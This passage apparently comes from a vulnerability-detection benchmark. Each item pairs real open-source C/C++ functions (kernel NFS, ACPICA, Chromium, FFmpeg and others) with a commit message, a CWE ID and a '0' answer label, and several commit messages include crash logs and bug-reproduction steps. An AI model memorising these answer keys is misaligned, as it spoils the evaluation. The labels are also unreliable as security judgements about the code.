{ size_t const chainSize = (srcCCtx->appliedParams.cParams.strategy == ZSTD_fast) ? 0 : ((size_t)1 << srcCCtx->appliedParams.cParams.chainLog);
size_t const hSize = (size_t)1 << srcCCtx->appliedParams.cParams.hashLog;
size_t const h3Size = (size_t)1 << srcCCtx->blockState.matchState.hashLog3;
size_t const tableSpace = (chainSize + hSize + h3Size) * sizeof(U32);
assert((U32*)dstCCtx->blockState.matchState.chainTable == (U32*)dstCCtx->blockState.matchState.hashTable + hSize); /* chainTable must follow hashTable */
assert((U32*)dstCCtx->blockState.matchState.hashTable3 == (U32*)dstCCtx->blockState.matchState.chainTable + chainSize);
memcpy(dstCCtx->blockState.matchState.hashTable, srcCCtx->blockState.matchState.hashTable, tableSpace); /* presumes all tables follow each other */
}
/* copy dictionary offsets */
{
const ZSTD_matchState_t* srcMatchState = &srcCCtx->blockState.matchState;
ZSTD_matchState_t* dstMatchState = &dstCCtx->blockState.matchState;
dstMatchState->window = srcMatchState->window;
dstMatchState->nextToUpdate = srcMatchState->nextToUpdate;
dstMatchState->nextToUpdate3= srcMatchState->nextToUpdate3;
dstMatchState->loadedDictEnd= srcMatchState->loadedDictEnd;
}
dstCCtx->dictID = srcCCtx->dictID;
/* copy block state */
memcpy(dstCCtx->blockState.prevCBlock, srcCCtx->blockState.prevCBlock, sizeof(*srcCCtx->blockState.prevCBlock));
return 0;
}
Commit Message: fixed T36302429
CWE ID: CWE-362 | 0 | 90,038 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int nfs4_proc_mkdir(struct inode *dir, struct dentry *dentry,
struct iattr *sattr)
{
struct nfs4_exception exception = { };
struct nfs4_label l, *label = NULL;
int err;
label = nfs4_label_init_security(dir, dentry, sattr, &l);
sattr->ia_mode &= ~current_umask();
do {
err = _nfs4_proc_mkdir(dir, dentry, sattr, label);
trace_nfs4_mkdir(dir, &dentry->d_name, err);
err = nfs4_handle_exception(NFS_SERVER(dir), err,
&exception);
} while (exception.retry);
nfs4_label_release_security(label);
return err;
}
Commit Message: NFS: Fix a NULL pointer dereference of migration recovery ops for v4.2 client
---Steps to Reproduce--
<nfs-server>
# cat /etc/exports
/nfs/referal *(rw,insecure,no_subtree_check,no_root_squash,crossmnt)
/nfs/old *(ro,insecure,subtree_check,root_squash,crossmnt)
<nfs-client>
# mount -t nfs nfs-server:/nfs/ /mnt/
# ll /mnt/*/
<nfs-server>
# cat /etc/exports
/nfs/referal *(rw,insecure,no_subtree_check,no_root_squash,crossmnt,refer=/nfs/old/@nfs-server)
/nfs/old *(ro,insecure,subtree_check,root_squash,crossmnt)
# service nfs restart
<nfs-client>
# ll /mnt/*/ --->>>>> oops here
[ 5123.102925] BUG: unable to handle kernel NULL pointer dereference at (null)
[ 5123.103363] IP: [<ffffffffa03ed38b>] nfs4_proc_get_locations+0x9b/0x120 [nfsv4]
[ 5123.103752] PGD 587b9067 PUD 3cbf5067 PMD 0
[ 5123.104131] Oops: 0000 [#1]
[ 5123.104529] Modules linked in: nfsv4(OE) nfs(OE) fscache(E) nfsd(OE) xfs libcrc32c iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi coretemp crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel ppdev vmw_balloon parport_pc parport i2c_piix4 shpchp auth_rpcgss nfs_acl vmw_vmci lockd grace sunrpc vmwgfx drm_kms_helper ttm drm mptspi serio_raw scsi_transport_spi e1000 mptscsih mptbase ata_generic pata_acpi [last unloaded: nfsd]
[ 5123.105887] CPU: 0 PID: 15853 Comm: ::1-manager Tainted: G OE 4.2.0-rc6+ #214
[ 5123.106358] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 05/20/2014
[ 5123.106860] task: ffff88007620f300 ti: ffff88005877c000 task.ti: ffff88005877c000
[ 5123.107363] RIP: 0010:[<ffffffffa03ed38b>] [<ffffffffa03ed38b>] nfs4_proc_get_locations+0x9b/0x120 [nfsv4]
[ 5123.107909] RSP: 0018:ffff88005877fdb8 EFLAGS: 00010246
[ 5123.108435] RAX: ffff880053f3bc00 RBX: ffff88006ce6c908 RCX: ffff880053a0d240
[ 5123.108968] RDX: ffffea0000e6d940 RSI: ffff8800399a0000 RDI: ffff88006ce6c908
[ 5123.109503] RBP: ffff88005877fe28 R08: ffffffff81c708a0 R09: 0000000000000000
[ 5123.110045] R10: 00000000000001a2 R11: ffff88003ba7f5c8 R12: ffff880054c55800
[ 5123.110618] R13: 0000000000000000 R14: ffff880053a0d240 R15: ffff880053a0d240
[ 5123.111169] FS: 0000000000000000(0000) GS:ffffffff81c27000(0000) knlGS:0000000000000000
[ 5123.111726] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 5123.112286] CR2: 0000000000000000 CR3: 0000000054cac000 CR4: 00000000001406f0
[ 5123.112888] Stack:
[ 5123.113458] ffffea0000e6d940 ffff8800399a0000 00000000000167d0 0000000000000000
[ 5123.114049] 0000000000000000 0000000000000000 0000000000000000 00000000a7ec82c6
[ 5123.114662] ffff88005877fe18 ffffea0000e6d940 ffff8800399a0000 ffff880054c55800
[ 5123.115264] Call Trace:
[ 5123.115868] [<ffffffffa03fb44b>] nfs4_try_migration+0xbb/0x220 [nfsv4]
[ 5123.116487] [<ffffffffa03fcb3b>] nfs4_run_state_manager+0x4ab/0x7b0 [nfsv4]
[ 5123.117104] [<ffffffffa03fc690>] ? nfs4_do_reclaim+0x510/0x510 [nfsv4]
[ 5123.117813] [<ffffffff810a4527>] kthread+0xd7/0xf0
[ 5123.118456] [<ffffffff810a4450>] ? kthread_worker_fn+0x160/0x160
[ 5123.119108] [<ffffffff816d9cdf>] ret_from_fork+0x3f/0x70
[ 5123.119723] [<ffffffff810a4450>] ? kthread_worker_fn+0x160/0x160
[ 5123.120329] Code: 4c 8b 6a 58 74 17 eb 52 48 8d 55 a8 89 c6 4c 89 e7 e8 4a b5 ff ff 8b 45 b0 85 c0 74 1c 4c 89 f9 48 8b 55 90 48 8b 75 98 48 89 df <41> ff 55 00 3d e8 d8 ff ff 41 89 c6 74 cf 48 8b 4d c8 65 48 33
[ 5123.121643] RIP [<ffffffffa03ed38b>] nfs4_proc_get_locations+0x9b/0x120 [nfsv4]
[ 5123.122308] RSP <ffff88005877fdb8>
[ 5123.122942] CR2: 0000000000000000
Fixes: ec011fe847 ("NFS: Introduce a vector of migration recovery ops")
Cc: stable@vger.kernel.org # v3.13+
Signed-off-by: Kinglong Mee <kinglongmee@gmail.com>
Signed-off-by: Trond Myklebust <trond.myklebust@primarydata.com>
CWE ID: | 0 | 57,203 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: ChromeContentBrowserClient::ChromeContentBrowserClient(
ChromeFeatureListCreator* chrome_feature_list_creator)
: chrome_feature_list_creator_(chrome_feature_list_creator),
weak_factory_(this) {
#if BUILDFLAG(ENABLE_PLUGINS)
for (size_t i = 0; i < base::size(kPredefinedAllowedDevChannelOrigins); ++i)
allowed_dev_channel_origins_.insert(kPredefinedAllowedDevChannelOrigins[i]);
for (size_t i = 0; i < base::size(kPredefinedAllowedFileHandleOrigins); ++i)
allowed_file_handle_origins_.insert(kPredefinedAllowedFileHandleOrigins[i]);
for (size_t i = 0; i < base::size(kPredefinedAllowedSocketOrigins); ++i)
allowed_socket_origins_.insert(kPredefinedAllowedSocketOrigins[i]);
extra_parts_.push_back(new ChromeContentBrowserClientPluginsPart);
#endif
#if defined(OS_CHROMEOS)
extra_parts_.push_back(new ChromeContentBrowserClientChromeOsPart);
#endif // defined(OS_CHROMEOS)
#if BUILDFLAG(ENABLE_EXTENSIONS)
extra_parts_.push_back(new ChromeContentBrowserClientExtensionsPart);
#endif
gpu_binder_registry_.AddInterface(
base::Bind(&metrics::CallStackProfileCollector::Create));
}
Commit Message: [GuestView] - Introduce MimeHandlerViewAttachHelper
This CL is for the most part a mechanical change which extracts almost
all the frame-based MimeHandlerView code out of
ExtensionsGuestViewMessageFilter. This change both removes the current
clutter form EGVMF as well as fixesa race introduced when the
frame-based logic was added to EGVMF. The reason for the race was that
EGVMF is destroyed on IO thread but all the access to it (for
frame-based MHV) are from UI.
TBR=avi@chromium.org,lazyboy@chromium.org
Bug: 659750, 896679, 911161, 918861
Change-Id: I6474b870e4d56daa68be03637bb633665d9f9dda
Reviewed-on: https://chromium-review.googlesource.com/c/1401451
Commit-Queue: Ehsan Karamad <ekaramad@chromium.org>
Reviewed-by: James MacLean <wjmaclean@chromium.org>
Reviewed-by: Ehsan Karamad <ekaramad@chromium.org>
Cr-Commit-Position: refs/heads/master@{#621155}
CWE ID: CWE-362 | 0 | 152,367 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool WebGLRenderingContextBase::ValidateReadPixelsFuncParameters(
GLsizei width,
GLsizei height,
GLenum format,
GLenum type,
DOMArrayBufferView* buffer,
long long buffer_size) {
if (!ValidateReadPixelsFormatAndType(format, type, buffer))
return false;
unsigned total_bytes_required = 0, total_skip_bytes = 0;
GLenum error = WebGLImageConversion::ComputeImageSizeInBytes(
format, type, width, height, 1, GetPackPixelStoreParams(),
&total_bytes_required, nullptr, &total_skip_bytes);
if (error != GL_NO_ERROR) {
SynthesizeGLError(error, "readPixels", "invalid dimensions");
return false;
}
if (buffer_size <
static_cast<long long>(total_bytes_required + total_skip_bytes)) {
SynthesizeGLError(GL_INVALID_OPERATION, "readPixels",
"buffer is not large enough for dimensions");
return false;
}
return true;
}
Commit Message: Tighten about IntRect use in WebGL with overflow detection
BUG=784183
TEST=test case in the bug in ASAN build
R=kbr@chromium.org
Cq-Include-Trybots: master.tryserver.chromium.android:android_optional_gpu_tests_rel;master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel
Change-Id: Ie25ca328af99de7828e28e6a6e3d775f1bebc43f
Reviewed-on: https://chromium-review.googlesource.com/811826
Reviewed-by: Kenneth Russell <kbr@chromium.org>
Commit-Queue: Zhenyao Mo <zmo@chromium.org>
Cr-Commit-Position: refs/heads/master@{#522213}
CWE ID: CWE-125 | 0 | 146,511 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void CreateStaticFont(HDC dc, HFONT* hyperlink_font) {
TEXTMETRIC tm;
LOGFONT lf;
if (*hyperlink_font != NULL)
return;
GetTextMetrics(dc, &tm);
lf.lfHeight = tm.tmHeight;
lf.lfWidth = 0;
lf.lfEscapement = 0;
lf.lfOrientation = 0;
lf.lfWeight = tm.tmWeight;
lf.lfItalic = tm.tmItalic;
lf.lfUnderline = TRUE;
lf.lfStrikeOut = tm.tmStruckOut;
lf.lfCharSet = tm.tmCharSet;
lf.lfOutPrecision = OUT_DEFAULT_PRECIS;
lf.lfClipPrecision = CLIP_DEFAULT_PRECIS;
lf.lfQuality = DEFAULT_QUALITY;
lf.lfPitchAndFamily = tm.tmPitchAndFamily;
GetTextFace(dc, LF_FACESIZE, lf.lfFaceName);
*hyperlink_font = CreateFontIndirect(&lf);
}
Commit Message: [pki] fix https://www.kb.cert.org/vuls/id/403768
* This commit effectively fixes https://www.kb.cert.org/vuls/id/403768 (CVE-2017-13083) as
it is described per its revision 11, which is the latest revision at the time of this commit,
by disabling Windows prompts, enacted during signature validation, that allow the user to
bypass the intended signature verification checks.
* It needs to be pointed out that the vulnerability ("allow(ing) the use of a self-signed
certificate"), which relies on the end-user actively ignoring a Windows prompt that tells
them that the update failed the signature validation whilst also advising against running it,
is being fully addressed, even as the update protocol remains HTTP.
* It also need to be pointed out that the extended delay (48 hours) between the time the
vulnerability was reported and the moment it is fixed in our codebase has to do with
the fact that the reporter chose to deviate from standard security practices by not
disclosing the details of the vulnerability with us, be it publicly or privately,
before creating the cert.org report. The only advance notification we received was a
generic note about the use of HTTP vs HTTPS, which, as have established, is not
immediately relevant to addressing the reported vulnerability.
* Closes #1009
* Note: The other vulnerability scenario described towards the end of #1009, which
doesn't have to do with the "lack of CA checking", will be addressed separately.
CWE ID: CWE-494 | 0 | 62,177 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: AcpiDsEvaluateNamePath (
ACPI_WALK_STATE *WalkState)
{
ACPI_STATUS Status = AE_OK;
ACPI_PARSE_OBJECT *Op = WalkState->Op;
ACPI_OPERAND_OBJECT **Operand = &WalkState->Operands[0];
ACPI_OPERAND_OBJECT *NewObjDesc;
UINT8 Type;
ACPI_FUNCTION_TRACE_PTR (DsEvaluateNamePath, WalkState);
if (!Op->Common.Parent)
{
/* This happens after certain exception processing */
goto Exit;
}
if ((Op->Common.Parent->Common.AmlOpcode == AML_PACKAGE_OP) ||
(Op->Common.Parent->Common.AmlOpcode == AML_VARIABLE_PACKAGE_OP) ||
(Op->Common.Parent->Common.AmlOpcode == AML_REF_OF_OP))
{
/* TBD: Should we specify this feature as a bit of OpInfo->Flags of these opcodes? */
goto Exit;
}
Status = AcpiDsCreateOperand (WalkState, Op, 0);
if (ACPI_FAILURE (Status))
{
goto Exit;
}
if (Op->Common.Flags & ACPI_PARSEOP_TARGET)
{
NewObjDesc = *Operand;
goto PushResult;
}
Type = (*Operand)->Common.Type;
Status = AcpiExResolveToValue (Operand, WalkState);
if (ACPI_FAILURE (Status))
{
goto Exit;
}
if (Type == ACPI_TYPE_INTEGER)
{
/* It was incremented by AcpiExResolveToValue */
AcpiUtRemoveReference (*Operand);
Status = AcpiUtCopyIobjectToIobject (
*Operand, &NewObjDesc, WalkState);
if (ACPI_FAILURE (Status))
{
goto Exit;
}
}
else
{
/*
* The object either was anew created or is
* a Namespace node - don't decrement it.
*/
NewObjDesc = *Operand;
}
/* Cleanup for name-path operand */
Status = AcpiDsObjStackPop (1, WalkState);
if (ACPI_FAILURE (Status))
{
WalkState->ResultObj = NewObjDesc;
goto Exit;
}
PushResult:
WalkState->ResultObj = NewObjDesc;
Status = AcpiDsResultPush (WalkState->ResultObj, WalkState);
if (ACPI_SUCCESS (Status))
{
/* Force to take it from stack */
Op->Common.Flags |= ACPI_PARSEOP_IN_STACK;
}
Exit:
return_ACPI_STATUS (Status);
}
Commit Message: acpi: acpica: fix acpi operand cache leak in dswstate.c
I found an ACPI cache leak in ACPI early termination and boot continuing case.
When early termination occurs due to malicious ACPI table, Linux kernel
terminates ACPI function and continues to boot process. While kernel terminates
ACPI function, kmem_cache_destroy() reports Acpi-Operand cache leak.
Boot log of ACPI operand cache leak is as follows:
>[ 0.585957] ACPI: Added _OSI(Module Device)
>[ 0.587218] ACPI: Added _OSI(Processor Device)
>[ 0.588530] ACPI: Added _OSI(3.0 _SCP Extensions)
>[ 0.589790] ACPI: Added _OSI(Processor Aggregator Device)
>[ 0.591534] ACPI Error: Illegal I/O port address/length above 64K: C806E00000004002/0x2 (20170303/hwvalid-155)
>[ 0.594351] ACPI Exception: AE_LIMIT, Unable to initialize fixed events (20170303/evevent-88)
>[ 0.597858] ACPI: Unable to start the ACPI Interpreter
>[ 0.599162] ACPI Error: Could not remove SCI handler (20170303/evmisc-281)
>[ 0.601836] kmem_cache_destroy Acpi-Operand: Slab cache still has objects
>[ 0.603556] CPU: 0 PID: 1 Comm: swapper/0 Not tainted 4.12.0-rc5 #26
>[ 0.605159] Hardware name: innotek GmbH VirtualBox/VirtualBox, BIOS VirtualBox 12/01/2006
>[ 0.609177] Call Trace:
>[ 0.610063] ? dump_stack+0x5c/0x81
>[ 0.611118] ? kmem_cache_destroy+0x1aa/0x1c0
>[ 0.612632] ? acpi_sleep_proc_init+0x27/0x27
>[ 0.613906] ? acpi_os_delete_cache+0xa/0x10
>[ 0.617986] ? acpi_ut_delete_caches+0x3f/0x7b
>[ 0.619293] ? acpi_terminate+0xa/0x14
>[ 0.620394] ? acpi_init+0x2af/0x34f
>[ 0.621616] ? __class_create+0x4c/0x80
>[ 0.623412] ? video_setup+0x7f/0x7f
>[ 0.624585] ? acpi_sleep_proc_init+0x27/0x27
>[ 0.625861] ? do_one_initcall+0x4e/0x1a0
>[ 0.627513] ? kernel_init_freeable+0x19e/0x21f
>[ 0.628972] ? rest_init+0x80/0x80
>[ 0.630043] ? kernel_init+0xa/0x100
>[ 0.631084] ? ret_from_fork+0x25/0x30
>[ 0.633343] vgaarb: loaded
>[ 0.635036] EDAC MC: Ver: 3.0.0
>[ 0.638601] PCI: Probing PCI hardware
>[ 0.639833] PCI host bridge to bus 0000:00
>[ 0.641031] pci_bus 0000:00: root bus resource [io 0x0000-0xffff]
> ... Continue to boot and log is omitted ...
I analyzed this memory leak in detail and found acpi_ds_obj_stack_pop_and_
delete() function miscalculated the top of the stack. acpi_ds_obj_stack_push()
function uses walk_state->operand_index for start position of the top, but
acpi_ds_obj_stack_pop_and_delete() function considers index 0 for it.
Therefore, this causes acpi operand memory leak.
This cache leak causes a security threat because an old kernel (<= 4.9) shows
memory locations of kernel functions in stack dump. Some malicious users
could use this information to neutralize kernel ASLR.
I made a patch to fix ACPI operand cache leak.
Signed-off-by: Seunghun Han <kkamagui@gmail.com>
CWE ID: CWE-200 | 0 | 61,981 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int proc_stat_read(char *buf, size_t size, off_t offset,
struct fuse_file_info *fi)
{
struct fuse_context *fc = fuse_get_context();
struct file_info *d = (struct file_info *)fi->fh;
char *cg;
char *cpuset = NULL;
char *line = NULL;
size_t linelen = 0, total_len = 0, rv = 0;
int curcpu = -1; /* cpu numbering starts at 0 */
unsigned long user = 0, nice = 0, system = 0, idle = 0, iowait = 0, irq = 0, softirq = 0, steal = 0, guest = 0;
unsigned long user_sum = 0, nice_sum = 0, system_sum = 0, idle_sum = 0, iowait_sum = 0,
irq_sum = 0, softirq_sum = 0, steal_sum = 0, guest_sum = 0;
#define CPUALL_MAX_SIZE BUF_RESERVE_SIZE
char cpuall[CPUALL_MAX_SIZE];
/* reserve for cpu all */
char *cache = d->buf + CPUALL_MAX_SIZE;
size_t cache_size = d->buflen - CPUALL_MAX_SIZE;
FILE *f = NULL;
if (offset){
if (offset > d->size)
return -EINVAL;
if (!d->cached)
return 0;
int left = d->size - offset;
total_len = left > size ? size: left;
memcpy(buf, d->buf + offset, total_len);
return total_len;
}
cg = get_pid_cgroup(fc->pid, "cpuset");
if (!cg)
return read_file("/proc/stat", buf, size, d);
cpuset = get_cpuset(cg);
if (!cpuset)
goto err;
f = fopen("/proc/stat", "r");
if (!f)
goto err;
if (getline(&line, &linelen, f) < 0) {
fprintf(stderr, "proc_stat_read read first line failed\n");
goto err;
}
while (getline(&line, &linelen, f) != -1) {
size_t l;
int cpu;
char cpu_char[10]; /* That's a lot of cores */
char *c;
if (sscanf(line, "cpu%9[^ ]", cpu_char) != 1) {
/* not a ^cpuN line containing a number N, just print it */
l = snprintf(cache, cache_size, "%s", line);
if (l < 0) {
perror("Error writing to cache");
rv = 0;
goto err;
}
if (l >= cache_size) {
fprintf(stderr, "Internal error: truncated write to cache\n");
rv = 0;
goto err;
}
if (l < cache_size) {
cache += l;
cache_size -= l;
total_len += l;
continue;
} else {
cache += cache_size;
total_len += cache_size;
cache_size = 0;
break;
}
}
if (sscanf(cpu_char, "%d", &cpu) != 1)
continue;
if (!cpu_in_cpuset(cpu, cpuset))
continue;
curcpu ++;
c = strchr(line, ' ');
if (!c)
continue;
l = snprintf(cache, cache_size, "cpu%d%s", curcpu, c);
if (l < 0) {
perror("Error writing to cache");
rv = 0;
goto err;
}
if (l >= cache_size) {
fprintf(stderr, "Internal error: truncated write to cache\n");
rv = 0;
goto err;
}
cache += l;
cache_size -= l;
total_len += l;
if (sscanf(line, "%*s %lu %lu %lu %lu %lu %lu %lu %lu %lu", &user, &nice, &system, &idle, &iowait, &irq,
&softirq, &steal, &guest) != 9)
continue;
user_sum += user;
nice_sum += nice;
system_sum += system;
idle_sum += idle;
iowait_sum += iowait;
irq_sum += irq;
softirq_sum += softirq;
steal_sum += steal;
guest_sum += guest;
}
cache = d->buf;
int cpuall_len = snprintf(cpuall, CPUALL_MAX_SIZE, "%s %lu %lu %lu %lu %lu %lu %lu %lu %lu\n",
"cpu ", user_sum, nice_sum, system_sum, idle_sum, iowait_sum, irq_sum, softirq_sum, steal_sum, guest_sum);
if (cpuall_len > 0 && cpuall_len < CPUALL_MAX_SIZE){
memcpy(cache, cpuall, cpuall_len);
cache += cpuall_len;
} else{
/* shouldn't happen */
fprintf(stderr, "proc_stat_read copy cpuall failed, cpuall_len=%d\n", cpuall_len);
cpuall_len = 0;
}
memmove(cache, d->buf + CPUALL_MAX_SIZE, total_len);
total_len += cpuall_len;
d->cached = 1;
d->size = total_len;
if (total_len > size ) total_len = size;
memcpy(buf, d->buf, total_len);
rv = total_len;
err:
if (f)
fclose(f);
free(line);
free(cpuset);
free(cg);
return rv;
}
Commit Message: Implement privilege check when moving tasks
When writing pids to a tasks file in lxcfs, lxcfs was checking
for privilege over the tasks file but not over the pid being
moved. Since the cgm_movepid request is done as root on the host,
not with the requestor's credentials, we must copy the check which
cgmanager was doing to ensure that the requesting task is allowed
to change the victim task's cgroup membership.
This is CVE-2015-1344
https://bugs.launchpad.net/ubuntu/+source/lxcfs/+bug/1512854
Signed-off-by: Serge Hallyn <serge.hallyn@ubuntu.com>
CWE ID: CWE-264 | 0 | 44,438 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void JPEGErrorHandler(j_common_ptr jpeg_info)
{
char
message[JMSG_LENGTH_MAX];
ErrorManager
*error_manager;
Image
*image;
*message='\0';
error_manager=(ErrorManager *) jpeg_info->client_data;
image=error_manager->image;
(jpeg_info->err->format_message)(jpeg_info,message);
if (image->debug != MagickFalse)
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
"[%s] JPEG Trace: \"%s\"",image->filename,message);
if (error_manager->finished != MagickFalse)
(void) ThrowMagickException(&image->exception,GetMagickModule(),
CorruptImageWarning,(char *) message,"`%s'",image->filename);
else
(void) ThrowMagickException(&image->exception,GetMagickModule(),
CorruptImageError,(char *) message,"`%s'",image->filename);
longjmp(error_manager->error_recovery,1);
}
Commit Message: ...
CWE ID: CWE-20 | 0 | 63,367 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int setcos_match_card(sc_card_t *card)
{
sc_apdu_t apdu;
u8 buf[6];
int i;
i = _sc_match_atr(card, setcos_atrs, &card->type);
if (i < 0) {
/* Unknown card, but has the FinEID application for sure */
if (match_hist_bytes(card, "FinEID", 0)) {
card->type = SC_CARD_TYPE_SETCOS_FINEID_V2_2048;
return 1;
}
if (match_hist_bytes(card, "FISE", 0)) {
card->type = SC_CARD_TYPE_SETCOS_GENERIC;
return 1;
}
/* Check if it's a EID2.x applet by reading the version info */
sc_format_apdu(card, &apdu, SC_APDU_CASE_2_SHORT, 0xCA, 0xDF, 0x30);
apdu.cla = 0x00;
apdu.resp = buf;
apdu.resplen = 5;
apdu.le = 5;
i = sc_transmit_apdu(card, &apdu);
if (i == 0 && apdu.sw1 == 0x90 && apdu.sw2 == 0x00 && apdu.resplen == 5) {
if (memcmp(buf, "v2.0", 4) == 0)
card->type = SC_CARD_TYPE_SETCOS_EID_V2_0;
else if (memcmp(buf, "v2.1", 4) == 0)
card->type = SC_CARD_TYPE_SETCOS_EID_V2_1;
else {
buf[sizeof(buf) - 1] = '\0';
sc_debug(card->ctx, SC_LOG_DEBUG_NORMAL, "SetCOS EID applet %s is not supported", (char *) buf);
return 0;
}
return 1;
}
return 0;
}
card->flags = setcos_atrs[i].flags;
return 1;
}
Commit Message: fixed out of bounds reads
Thanks to Eric Sesterhenn from X41 D-SEC GmbH
for reporting and suggesting security fixes.
CWE ID: CWE-125 | 0 | 78,701 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: cf2_hintmask_setAll( CF2_HintMask hintmask,
size_t bitCount )
{
size_t i;
CF2_UInt mask = ( 1 << ( -(CF2_Int)bitCount & 7 ) ) - 1;
/* initialize counts and isValid */
if ( cf2_hintmask_setCounts( hintmask, bitCount ) == 0 )
return;
FT_ASSERT( hintmask->byteCount > 0 );
FT_ASSERT( hintmask->byteCount <
sizeof ( hintmask->mask ) / sizeof ( hintmask->mask[0] ) );
/* set mask to all ones */
for ( i = 0; i < hintmask->byteCount; i++ )
hintmask->mask[i] = 0xFF;
/* clear unused bits */
/* bitCount -> mask, 0 -> 0, 1 -> 7f, 2 -> 3f, ... 6 -> 3, 7 -> 1 */
hintmask->mask[hintmask->byteCount - 1] &= ~mask;
}
Commit Message:
CWE ID: CWE-119 | 0 | 7,166 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int _store_item_copy_chunks(item *d_it, item *s_it, const int len) {
item_chunk *dch = (item_chunk *) ITEM_data(d_it);
/* Advance dch until we find free space */
while (dch->size == dch->used) {
if (dch->next) {
dch = dch->next;
} else {
break;
}
}
if (s_it->it_flags & ITEM_CHUNKED) {
int remain = len;
item_chunk *sch = (item_chunk *) ITEM_data(s_it);
int copied = 0;
/* Fills dch's to capacity, not straight copy sch in case data is
* being added or removed (ie append/prepend)
*/
while (sch && dch && remain) {
assert(dch->used <= dch->size);
int todo = (dch->size - dch->used < sch->used - copied)
? dch->size - dch->used : sch->used - copied;
if (remain < todo)
todo = remain;
memcpy(dch->data + dch->used, sch->data + copied, todo);
dch->used += todo;
copied += todo;
remain -= todo;
assert(dch->used <= dch->size);
if (dch->size == dch->used) {
item_chunk *tch = do_item_alloc_chunk(dch, remain);
if (tch) {
dch = tch;
} else {
return -1;
}
}
assert(copied <= sch->used);
if (copied == sch->used) {
copied = 0;
sch = sch->next;
}
}
/* assert that the destination had enough space for the source */
assert(remain == 0);
} else {
int done = 0;
/* Fill dch's via a non-chunked item. */
while (len > done && dch) {
int todo = (dch->size - dch->used < len - done)
? dch->size - dch->used : len - done;
memcpy(dch->data + dch->used, ITEM_data(s_it) + done, todo);
done += todo;
dch->used += todo;
assert(dch->used <= dch->size);
if (dch->size == dch->used) {
item_chunk *tch = do_item_alloc_chunk(dch, len - done);
if (tch) {
dch = tch;
} else {
return -1;
}
}
}
assert(len == done);
}
return 0;
}
Commit Message: Don't overflow item refcount on get
Counts as a miss if the refcount is too high. ASCII multigets are the only
time refcounts can be held for so long.
doing a dirty read of refcount. is aligned.
trying to avoid adding an extra refcount branch for all calls of item_get due
to performance. might be able to move it in there after logging refactoring
simplifies some of the branches.
CWE ID: CWE-190 | 0 | 75,145 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void ChromeClientImpl::DidOverscroll(const FloatSize& overscroll_delta,
const FloatSize& accumulated_overscroll,
const FloatPoint& position_in_viewport,
const FloatSize& velocity_in_viewport,
const WebOverscrollBehavior& behavior) {
if (!web_view_->Client())
return;
web_view_->Client()->DidOverscroll(overscroll_delta, accumulated_overscroll,
position_in_viewport, velocity_in_viewport,
behavior);
}
Commit Message: If a page calls |window.focus()|, kick it out of fullscreen.
BUG=776418, 800056
Change-Id: I1880fe600e4814c073f247c43b1c1ac80c8fc017
Reviewed-on: https://chromium-review.googlesource.com/852378
Reviewed-by: Nasko Oskov <nasko@chromium.org>
Reviewed-by: Philip Jägenstedt <foolip@chromium.org>
Commit-Queue: Avi Drissman <avi@chromium.org>
Cr-Commit-Position: refs/heads/master@{#533790}
CWE ID: | 0 | 148,139 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: ff_rm_parse_packet (AVFormatContext *s, AVIOContext *pb,
AVStream *st, RMStream *ast, int len, AVPacket *pkt,
int *seq, int flags, int64_t timestamp)
{
RMDemuxContext *rm = s->priv_data;
int ret;
if (st->codecpar->codec_type == AVMEDIA_TYPE_VIDEO) {
rm->current_stream= st->id;
ret = rm_assemble_video_frame(s, pb, rm, ast, pkt, len, seq, ×tamp);
if(ret)
return ret < 0 ? ret : -1; //got partial frame or error
} else if (st->codecpar->codec_type == AVMEDIA_TYPE_AUDIO) {
if ((ast->deint_id == DEINT_ID_GENR) ||
(ast->deint_id == DEINT_ID_INT4) ||
(ast->deint_id == DEINT_ID_SIPR)) {
int x;
int sps = ast->sub_packet_size;
int cfs = ast->coded_framesize;
int h = ast->sub_packet_h;
int y = ast->sub_packet_cnt;
int w = ast->audio_framesize;
if (flags & 2)
y = ast->sub_packet_cnt = 0;
if (!y)
ast->audiotimestamp = timestamp;
switch (ast->deint_id) {
case DEINT_ID_INT4:
for (x = 0; x < h/2; x++)
readfull(s, pb, ast->pkt.data+x*2*w+y*cfs, cfs);
break;
case DEINT_ID_GENR:
for (x = 0; x < w/sps; x++)
readfull(s, pb, ast->pkt.data+sps*(h*x+((h+1)/2)*(y&1)+(y>>1)), sps);
break;
case DEINT_ID_SIPR:
readfull(s, pb, ast->pkt.data + y * w, w);
break;
}
if (++(ast->sub_packet_cnt) < h)
return -1;
if (ast->deint_id == DEINT_ID_SIPR)
ff_rm_reorder_sipr_data(ast->pkt.data, h, w);
ast->sub_packet_cnt = 0;
rm->audio_stream_num = st->index;
if (st->codecpar->block_align <= 0) {
av_log(s, AV_LOG_ERROR, "Invalid block alignment %d\n", st->codecpar->block_align);
return AVERROR_INVALIDDATA;
}
